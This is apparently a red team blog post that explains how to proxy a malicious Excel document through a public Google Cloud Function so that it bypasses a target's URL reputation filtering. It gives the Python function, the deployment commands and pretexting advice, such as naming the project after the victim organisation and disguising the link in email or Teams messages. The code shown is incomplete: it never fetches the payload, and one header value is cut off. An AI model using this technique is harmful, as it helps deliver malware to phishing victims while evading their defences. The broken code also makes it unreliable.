Maldoc Transfers in the Google Cloud

On a recent red team engagement, we faced the challenge of serving a backdoored Excel document as part of a social engineering campaign against an environment using very strong reputation-based URL filtering. Although we and others have written in detail about abusing serverless cloud functions to redirect C2 traffic, this time we needed the reverse: a way to serve a file to the victim's machine while bypassing their environment's domain reputation controls. What we came up with was a simple Python function that fetches data from any attacker specified URL and serves it to a victim visiting a Google-controlled domain. This post will walk through the procedures we used to successfully bypass our target's domain reputation filtering service.


Google Cloud currently allows the deployment of HTTP functions in Node.js, Python, Go, Java, C#, Ruby, and PHP.  Most of this section is based off of their great quickstart documentation. We are using Python for this example.

This walkthrough assumes the reader has already created a Google Cloud account.

Create the Project

Create a new project in the Google Cloud Console's web GUI:

Create Project Button in Google Cloud Console

The most important thing to note for red team operators is that your project's name and region will be displayed in the function's public-facing URL, so pick a project name and region that fits your pretext. We used the name of the organization we were targeting with no issues.

Also be sure to enable the necessary Google Cloud APIs for the project. These are:

  • Cloud Functions API
  • Cloud Build API
  • Artifact Registry API
  • Cloud Run API
  • Logging API

Then, install the gcloud CLI tool. Here's how.

Create a new directory where your function will live:

mkdir foo
cd foo

In that directory, create a file and paste the following code:

from flask import Response
import functions_framework
import requests

def foo(request): ### The function name will be the /endpoint in the produced URL, so pick your function's name according to your scenario.
    url = "<MALDOC URL>" ### replace with payload URL
    response = Response()
    response.content_type = "<Appropriate 'Content-Type' of Maldoc>" ### for xls files this is "application/"
    return response

Change the placeholder code on the commented lines. The functionName you choose will be part of the function's public URL so be sure to pick a name that suits your campaign. You'll also need to specify the correct IANA Media Type for the Content-Type HTTP header.

Next, specify your code's package dependencies in a requirements.txt file in the same directory as

echo "requests" > requirements.txt

At this point, your function is ready to deploy.


From the same directory containing the two files you just created, run the following command, swapping functionName for the name of your function in

gcloud functions deploy foo --runtime python310 --trigger-http --allow-unauthenticated

The function name in the above command must match the function name in your code exactly.

The --trigger-http flag sets the trigger for the function to be a standard GET request.

The --allow-unauthenticated makes the function public.

If it works, you will get output that looks like this:

In the screenshot above, we can see that a trigger url is returned after successful deployment. The trigger url always looks something like It's not the prettiest, but it got past the security controls it needed to.


Although the gcloud CLI will pass build error messages along, it is sometimes useful to go over the tracebacks in detail in the Logs Explorer, which allows us to query logs from any part of our project.

Select this “Error” option under Log Fields to view error messages only.
Viewing stdout

The Logs Explorer also stores anything a project prints to stdout.  If we add the line print("FOO") to our function’s code, we will see the string FOO printed to our logs when we trigger the function :

If everything works, you will be prompted to download the malicious file by simply visiting the trigger URL.

The cloud function URLs are not the prettiest so if you can, disguise them with HTML in an email or Microsoft Teams message.

We hope this is useful, and if you have any questions, don't hesitate to contact us or check out similar blog posts on our website. As always, happy hacking!